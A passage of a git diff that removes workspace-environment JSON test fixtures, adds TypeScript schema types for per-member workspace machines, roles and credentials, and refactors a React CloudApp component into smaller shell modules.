xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" - }, - "startupScript": null, - "filesReady": true -} diff --git a/packages/schema/fixtures/workspace-environment/invalid/extra-field.json b/packages/schema/fixtures/workspace-environment/invalid/extra-field.json deleted file mode 100644 index 44bf51b4..00000000 --- a/packages/schema/fixtures/workspace-environment/invalid/extra-field.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "env": {}, - "startupScript": null, - "filesReady": true, - "workspaceId": "must-not-be-accepted" -} diff --git a/packages/schema/fixtures/workspace-environment/invalid/files-ready-type.json b/packages/schema/fixtures/workspace-environment/invalid/files-ready-type.json deleted file mode 100644 index 8f8d54c4..00000000 --- a/packages/schema/fixtures/workspace-environment/invalid/files-ready-type.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "env": {}, - "startupScript": null, - "filesReady": 1 -} diff --git a/packages/schema/fixtures/workspace-environment/invalid/startup-script-type.json b/packages/schema/fixtures/workspace-environment/invalid/startup-script-type.json deleted file mode 100644 index 60ec32c9..00000000 --- a/packages/schema/fixtures/workspace-environment/invalid/startup-script-type.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "env": {}, - "startupScript": ["echo", "nope"], - "filesReady": true -} diff --git a/packages/schema/fixtures/workspace-environment/invalid/too-many-keys.json b/packages/schema/fixtures/workspace-environment/invalid/too-many-keys.json deleted file mode 100644 index 20f4107c..00000000 --- a/packages/schema/fixtures/workspace-environment/invalid/too-many-keys.json +++ /dev/null @@ -1,57 +0,0 @@ -{ - "env": { - "KEY_0": "x", - "KEY_1": "x", - "KEY_2": "x", - "KEY_3": "x", - "KEY_4": "x", - "KEY_5": "x", - "KEY_6": "x", - "KEY_7": "x", - "KEY_8": "x", - "KEY_9": "x", - "KEY_10": "x", - "KEY_11": "x", - "KEY_12": "x", - "KEY_13": "x", - "KEY_14": "x", - "KEY_15": "x", - "KEY_16": "x", - "KEY_17": "x", - "KEY_18": "x", - "KEY_19": "x", - "KEY_20": "x", - "KEY_21": "x", - "KEY_22": "x", - "KEY_23": "x", - "KEY_24": "x", - "KEY_25": "x", - "KEY_26": "x", - "KEY_27": "x", - "KEY_28": "x", - "KEY_29": "x", - "KEY_30": "x", - "KEY_31": "x", - "KEY_32": "x", - "KEY_33": "x", - "KEY_34": "x", - "KEY_35": "x", - "KEY_36": "x", - "KEY_37": "x", - "KEY_38": "x", - "KEY_39": "x", - "KEY_40": "x", - "KEY_41": "x", - "KEY_42": "x", - "KEY_43": "x", - "KEY_44": "x", - "KEY_45": "x", - "KEY_46": "x", - "KEY_47": "x", - "KEY_48": "x", - "KEY_49": "x", - "KEY_50": "x" - }, - "startupScript": null, - "filesReady": true -} diff --git a/packages/schema/fixtures/workspace-environment/valid/empty.json b/packages/schema/fixtures/workspace-environment/valid/empty.json deleted file mode 100644 index 09138568..00000000 --- a/packages/schema/fixtures/workspace-environment/valid/empty.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "env": {}, - "startupScript": null, - "filesReady": false -} diff --git a/packages/schema/fixtures/workspace-environment/valid/populated.json b/packages/schema/fixtures/workspace-environment/valid/populated.json deleted file mode 100644 index 480f65cd..00000000 --- a/packages/schema/fixtures/workspace-environment/valid/populated.json +++ /dev/null @@ -1,10 +0,0 @@ -{ - "env": { - "API_ORIGIN": "https://api.example.com/v1", - "EMPTY_VALUE": "", - "GREETING": "hello 'world'\nnext line", - "UNICODE_VALUE": "안녕하세요" - }, - "startupScript": "printf '%s\\n' \"$GREETING\"\ntouch initialized.txt\n", - "filesReady": true -} diff --git a/packages/schema/src/api.ts b/packages/schema/src/api.ts index 0e372c8f..4590ee2e 100644 --- a/packages/schema/src/api.ts +++ b/packages/schema/src/api.ts @@ -1,8 +1,7 @@ import type { MachineType } from "./machine.js"; import type { CredentialManifest } from "./credential.js"; -import type { WorkspaceEnvironment } from "./environment.js"; import type { Volume } from "./volume.js"; -import type { RetryAction, WorkspaceView } from "./workspace.js"; +import type { RetryAction, WorkspaceMemberRole, WorkspaceView } from "./workspace.js"; export interface MachineTypeProviderFailure { providerId: string; @@ -23,12 +22,25 @@ export interface ListMachineTypesResponse { } export interface CreateWorkspaceRequest { - /** Required unless templateId is set; then the template's machine type is the default. */ + /** Legacy spelling of `defaultMachineTypeId`; either satisfies the + * requirement, and `defaultMachineTypeId` wins when both are sent. */ machineTypeId?: string; - /** Creates from a workspace template: its folders attach automatically. */ + /** The default a machine takes when nothing else names one. */ + defaultMachineTypeId?: string; + /** Provision and start a machine on every member add. Default true. */ + autoProvision?: boolean; + /** Existing org members, added immediately. The creator is the first + * workspace admin and never needs a row here. */ + members?: { membershipId: string; role: WorkspaceMemberRole; machineTypeId?: string }[]; + /** The only path where a credential value is sent. */ + credentials?: { name: string; label?: string; value: string }[]; + /** Copies config — default machine type, agent rule, repos, credential + * NAMES are not copied and neither are members. The workspace is the + * template now, so this is "new workspace from existing". */ + cloneFromWorkspaceId?: string; + /** Retired with the template tables (plans/MEMBER-MACHINES.md §0). Sending + * one is refused rather than ignored. */ templateId?: string; - /** Shares the new workspace with every active org member at this role. */ - orgShareRole?: "editor" | "viewer"; /** Optional display name; blank means the server picks a random one. */ name?: string; sshPublicKey?: string; @@ -39,13 +51,12 @@ export interface CreateWorkspaceRequest { /** Providers to enable in the new workspace. The manifest stays the ceiling; * this is the provision list, and the ceiling wins on conflict. */ connections?: string[]; - environment?: WorkspaceEnvironment; - /** Overrides the template's rule; null (or absent) falls back to the - * template's rule and then the built-in doc. */ + /** Overrides the clone source's rule; null (or absent) falls back to the + * source's rule and then the built-in doc. */ agentRuleId?: string | null; /** GitHub repositories ("owner/name") the box clones into /workspace. Only - * for a create with no template: a template already carries its own list, - * and a request that names both is refused rather than merged. */ + * for a create with no clone source: a cloned workspace already carries its + * own list, and a request that names both is refused rather than merged. */ repos?: string[]; } diff --git a/packages/schema/src/workspace.ts b/packages/schema/src/workspace.ts index c767e97f..9bc73a30 100644 --- a/packages/schema/src/workspace.ts +++ b/packages/schema/src/workspace.ts @@ -18,8 +18,30 @@ export const RETRY_ACTIONS = ["poll", "destroy", "create", "upgrade"] as const; export type RetryAction = (typeof RETRY_ACTIONS)[number] | null; +/** The ticket role. It is the access role a webApp ticket carries and the + * legacy `WorkspaceView.role`, and it is pinned by the webApp-ticket fixture + * corpus on three runtimes — so it keeps its four values and its name. + * The STORED workspace role is `WorkspaceMemberRole` below. */ export type WorkspaceRole = "owner" | "admin" | "editor" | "viewer"; +/** The stored workspace role (plans/MEMBER-MACHINES.md §3). `admin` here is + * workspace admin, which is not the org role of the same name: an org admin + * reaches every workspace of the org implicitly without holding a row. */ +export const WORKSPACE_MEMBER_ROLES = ["admin", "member", "viewer"] as const; + +export type WorkspaceMemberRole = (typeof WORKSPACE_MEMBER_ROLES)[number]; + +export const MACHINE_STATES = [ + "provisioning", + "running", + "stopped", + "error", + "destroying", + "destroyed", +] as const; + +export type MachineState = (typeof MACHINE_STATES)[number]; + export const PHASE_TRANSITIONS = { creating: ["ready", "error"], ready: ["destroying"], @@ -28,11 +50,50 @@ export const PHASE_TRANSITIONS = { destroyed: [], } satisfies Record; +/** One member's VM. The volume is the durable half and survives a machine-type + * change; `vmId` never crosses the wire, because a provider identifier is not + * a product concept. */ +export interface MachineView { + id: string; + state: MachineState; + /** This machine's type. The workspace holds only a default. */ + machineTypeId: string; + volumeId: string | null; + membershipId: string; + error: string | null; + createdAt: number; + updatedAt: number; +} + +export interface WorkspaceMemberView { + membershipId: string; + name: string; + avatarUrl: string | null; + role: WorkspaceMemberRole; + /** Null when nothing is provisioned: `autoProvision` is off, or the member + * is a viewer, who never holds a machine. */ + machine: MachineView | null; +} + +/** A workspace credential, names only. A value never crosses the wire after + * the write that created it. */ +export interface WorkspaceCredentialView { + name: string; + label: string | null; + createdAt: number; +} + export interface WorkspaceView { id: string; /** Display name; the server generates one when the creator omits it. */ name: string; + /** Legacy: the REQUESTING member's machine type, falling back to the + * workspace default. `defaultMachineTypeId` and `members[].machine` are the + * fields that state the model. */ machineTypeId: string; + /** Legacy: the requesting member's machine state, projected onto the old + * workspace phase so a poller still sees create finish. A workspace has no + * phase of its own — only machines have lifecycle. */ phase: Phase; retryAction: RetryAction; canObserve: boolean; @@ -50,20 +111,94 @@ export interface WorkspaceView { volumeId: string | null; error: string | null; role: WorkspaceRole | null; - orgShareRole: "editor" | "viewer" | null; owner: { name: string; avatarUrl: string | null; }; - environment: WorkspaceEnvironment | null; agentRuleId: string | null; /** Connection names the workspace's ceiling enables — its template's * stipulated providers plus any named at create. The workspace connections - * panel draws one status row per name; gated on the viewer's role like - * `environment`. */ + * panel draws one status row per name; gated on the viewer's role. */ connections: string[]; /** Present when a recipe launch created this workspace (provenance). */ recipeId?: string; + /** The member-machines fields. + * + * The only client of this view is the webapp in this repository, and it is + * built from this file — so these are required, and a server that drops one + * fails the wire-drift gate rather than the browser. */ + orgId: string | null; + ownerMembershipId: string | null; + /** A default for new machines, never a restriction: every machine carries + * its own type and may be changed to another (§1a). */ + defaultMachineTypeId: string; + /** Provision and start a machine the moment a member is added. */ + autoProvision: boolean; + /** The caller's stored workspace role, or null when they reach this + * workspace only through implicit org-admin access. */ + myRole: WorkspaceMemberRole | null; + /** Empty for a caller who cannot open the workspace. */ + members: WorkspaceMemberView[]; + /** Names only. Populated for members and admins; empty for a caller who may + * not use them. */ + credentials: WorkspaceCredentialView[]; +} + +export interface MachineResponse { + machine: MachineView; +} + +/** Same-location only: the volume stays, the VM is replaced. A type in another + * location needs a volume move, which is deferred (plan §5). */ +export interface SetMachineTypeRequest { + machineTypeId: string; +} + +export interface AddWorkspaceMemberRequest { + membershipId: string; + role: WorkspaceMemberRole; + /** Per-member override of the workspace default. */ + machineTypeId?: string; +} + +export interface UpdateWorkspaceMemberRequest { + role: WorkspaceMemberRole; +} + +/** Provisions a machine for a member row that holds none — the manual half of + * §2.1, for a workspace whose `autoProvision` is off or a member whose machine + * was destroyed. A viewer is refused: they never hold one (§2.2). */ +export interface ProvisionMemberMachineRequest { + /** Overrides the workspace default for this one machine (§1a). */ + machineTypeId?: string; +} + +export interface WorkspaceMemberResponse { + member: WorkspaceMemberView; +} + +/** + * The workspace settings write (§3, first matrix row). Every field is + * optional and an absent one is left alone, so a caller who edits the name + * does not have to restate the rest. + * + * `defaultMachineTypeId` is a default, never a restriction: changing it moves + * FUTURE provisions and touches no existing machine (§1a). `agentRuleId` takes + * an explicit null to fall back to the built-in doc. + */ +export interface UpdateWorkspaceRequest { + name?: string; + defaultMachineTypeId?: string; + autoProvision?: boolean; + agentRuleId?: string | null; +} + +/** Add or rotate: one live row per (workspace, name), so a second write to a + * live name replaces its value. */ +export interface PutWorkspaceCredentialRequest { + name: string; + label?: string; + value: string; } export interface TemplateConnectionView { @@ -75,6 +210,20 @@ export interface TemplateRepoView { private: boolean; } +/** One repo to add to a live workspace ("owner/name"). The server derives + * `private` with the caller's own GitHub credential, exactly as create does — + * privacy is provider truth, not a client assertion. */ +export interface AddWorkspaceRepoRequest { + repo: string; +} + +/** The workspace's own clone list. A change lands on the machines provisioned + * after it: the box clones at boot, so an existing machine keeps what it + * already has until it is recreated. */ +export interface ListWorkspaceReposResponse { + repos: TemplateRepoView[]; +} + export interface GithubInstallationView { id: number; accountLogin: string; diff --git a/packages/webapp/src/CloudApp.tsx b/packages/webapp/src/CloudApp.tsx index 95358260..8fece8fb 100644 --- a/packages/webapp/src/CloudApp.tsx +++ b/packages/webapp/src/CloudApp.tsx @@ -5,7 +5,6 @@ import { useReducer, useRef, useState, - type CSSProperties, type ReactNode, type MouseEvent as ReactMouseEvent, } from 'react'; @@ -18,23 +17,14 @@ import { import type { ControlPlaneClient } from './api'; import type { CredentialRequestView, FolderAttachmentView } from '@blitzos/schema'; import { - WebAppHeader, SPAWN_SESSION_LABELS, type WebAppTabModel, type SpawnSessionType, } from './WebAppHeader'; import { FileIcon } from './WebAppIcons'; -import { DriveHome } from './files/DriveHome'; -import { CreateRecipeScreen } from './files/CreateRecipeScreen'; -import { CreateTemplateScreen } from './files/CreateTemplateScreen'; -import { DriveRail, type DriveRailNav, type DriveRailSession } from './files/DriveRail'; -import { RecipesHome } from './files/RecipesHome'; -import { TemplatesHome } from './files/TemplatesHome'; +import type { DriveRailSession } from './shell/rail-sessions'; import { ShareToDriveDialog } from './files/ShareToDriveDialog'; -import { - CreateWorkspaceDialog, - type CreateWorkspaceDialogInput, -} from './CreateWorkspaceDialog'; +import type { CreateWorkspaceDialogInput } from './CreateWorkspaceDialog'; import { ConfirmationDialog } from './ConfirmationDialog'; import { caughtErrorMessage } from './error-message'; import { @@ -42,26 +32,23 @@ import { WebAppLoadingShell, } from './LoadingSkeleton'; import { machineTypeLabel } from './MachineCatalogGrid'; -import { SettingsHeader, SettingsPage } from './SettingsPage'; -import { ShareWorkspaceDialog } from './ShareWorkspaceDialog'; -import { WorkspaceDetailsDialog } from './WorkspaceDetailsDialog'; import { bindVisualViewportGeometry, useMobileWebApp, } from './mobile-webapp'; +import { PasteCodeModal } from './shell/PasteCodeModal'; +import { ShellDialogs, type WebAppConfirmation } from './shell/ShellDialogs'; +import type { WorkspaceDetailsTab } from './WorkspaceDetailsDialog'; +import { ShellNav } from './shell/ShellNav'; +import { isSecondaryRoute, SecondaryRoutes } from './shell/SecondaryRoutes'; +import { WorkPanes } from './shell/WorkPanes'; import { drivePath, folderPagePath, parseAppRoute, - recipeEditPath, - recipeNewPath, - recipesPath, settingsPath, workspacePath, type SettingsSection, - templateEditPath, - templateNewPath, - templatesPath, } from './sessions-page-state'; import { clampDrawerWidth, @@ -94,10 +81,8 @@ import { import { useWorkspaceTabDrag } from './use-workspace-tab-drag'; import { WorkspaceRailStrip } from './WorkspaceRailStrip'; import { TERMINAL_KEYBOARD_EVENT, TERMINAL_PASTE_EVENT } from './terminal-touch'; -import { terminalPastePayload } from './terminal-paste'; -import { TERMINAL_SUBMIT_EVENT, TtydTerminal } from './TtydTerminal'; +import { TERMINAL_SUBMIT_EVENT } from './TtydTerminal'; import { WorkspaceErrorState } from './WorkspaceErrorState'; -import { FileEditor } from './FileEditor'; import { FilesSidebar } from './FilesSidebar'; import { fullDavPath, isPathAtOrBelow } from './files'; import { dropPasteText, uploadDroppedFiles } from './file-drop'; @@ -106,7 +91,6 @@ import { selectControllableWorkspaceId, workspaceReducer, } from './workspace-store'; -import { PreviewPanel } from './PreviewPanel'; import { NATIVE_CHAT_ENABLED } from './product-features'; import { isPreviewPath, @@ -117,12 +101,10 @@ import { } from './preview'; import { decideUpdateAction, extractIndexAsset } from './update-check'; import { LoginForm } from './components/LoginForm'; -import { CreateOrgDialog } from './components/CreateOrgDialog'; import { CreateOrgPage } from './components/CreateOrgPage'; import type { IdentityRecord } from './protocol'; import { FILES_DAV_ROOT, type EndpointResolver } from './resolver'; -import { - type ConnectionsPanelFocus, WorkspaceDrawer, WorkspacePanelContent } from './WorkspaceDrawer'; +import { type ConnectionsPanelFocus, WorkspaceDrawer } from './WorkspaceDrawer'; import { rememberWorkspaceEndpoints, type WorkspaceEndpoints, @@ -171,11 +153,6 @@ function TerminalIcon() { export { terminalWebSocketUrl } from './workspace-endpoints'; -type WebAppConfirmation = { - workspaceId: string; - label: string; -}; - type FileCloseConfirmation = { id: string; label: string; @@ -187,64 +164,6 @@ const PANEL_LABELS = { connections: 'Connections', } satisfies Record; -function PasteCodeModal({ - onCancel, - onSend, -}: { - onCancel: () => void; - onSend: (payload: { data: string; enters: number }) => void; -}) { - const [text, setText] = useState(''); - const inputRef = useRef(null); - - useEffect(() => { - inputRef.current?.focus(); - }, []); - - const canSend = text.trim().length > 0; - const send = () => { - if (!canSend) return; - // Paste-code submits the raw text; the terminal layer then sends Enter - // twice, each gated on the pty responding (echo, then the next screen) — - // bundling \r with the text makes Claude's input treat it as pasted - // content and swallow the submit. - onSend({ data: terminalPastePayload(text.trim(), false), enters: 2 }); - }; - - return ( -
-
event.stopPropagation()} - > -

Paste code

- setText(event.target.value)} - onKeyDown={(event) => { - if (event.key === 'Enter') send(); - }} - /> -
- - -
-
-
- ); -} - export type CloudAppProps = { client: ControlPlaneClient; resolver: EndpointResolver; @@ -264,8 +183,12 @@ export default function CloudApp({ client, resolver }: CloudAppProps) { const [bootstrapVersion, setBootstrapVersion] = useState(0); const [showCreateOrg, setShowCreateOrg] = useState(false); const [showCreateWorkspace, setShowCreateWorkspace] = useState(false); - const [shareWorkspaceId, setShareWorkspaceId] = useState(null); - const [detailsWorkspaceId, setDetailsWorkspaceId] = useState(null); + /** The workspace a "new workspace from existing" is copying, or null for a + * blank create. Cleared with the dialog. */ + const [cloneFromWorkspaceId, setCloneFromWorkspaceId] = useState(null); + const [details, setDetails] = useState< + { workspaceId: string; tab: WorkspaceDetailsTab } | null + >(null); const [createWorkspaceBusy, setCreateWorkspaceBusy] = 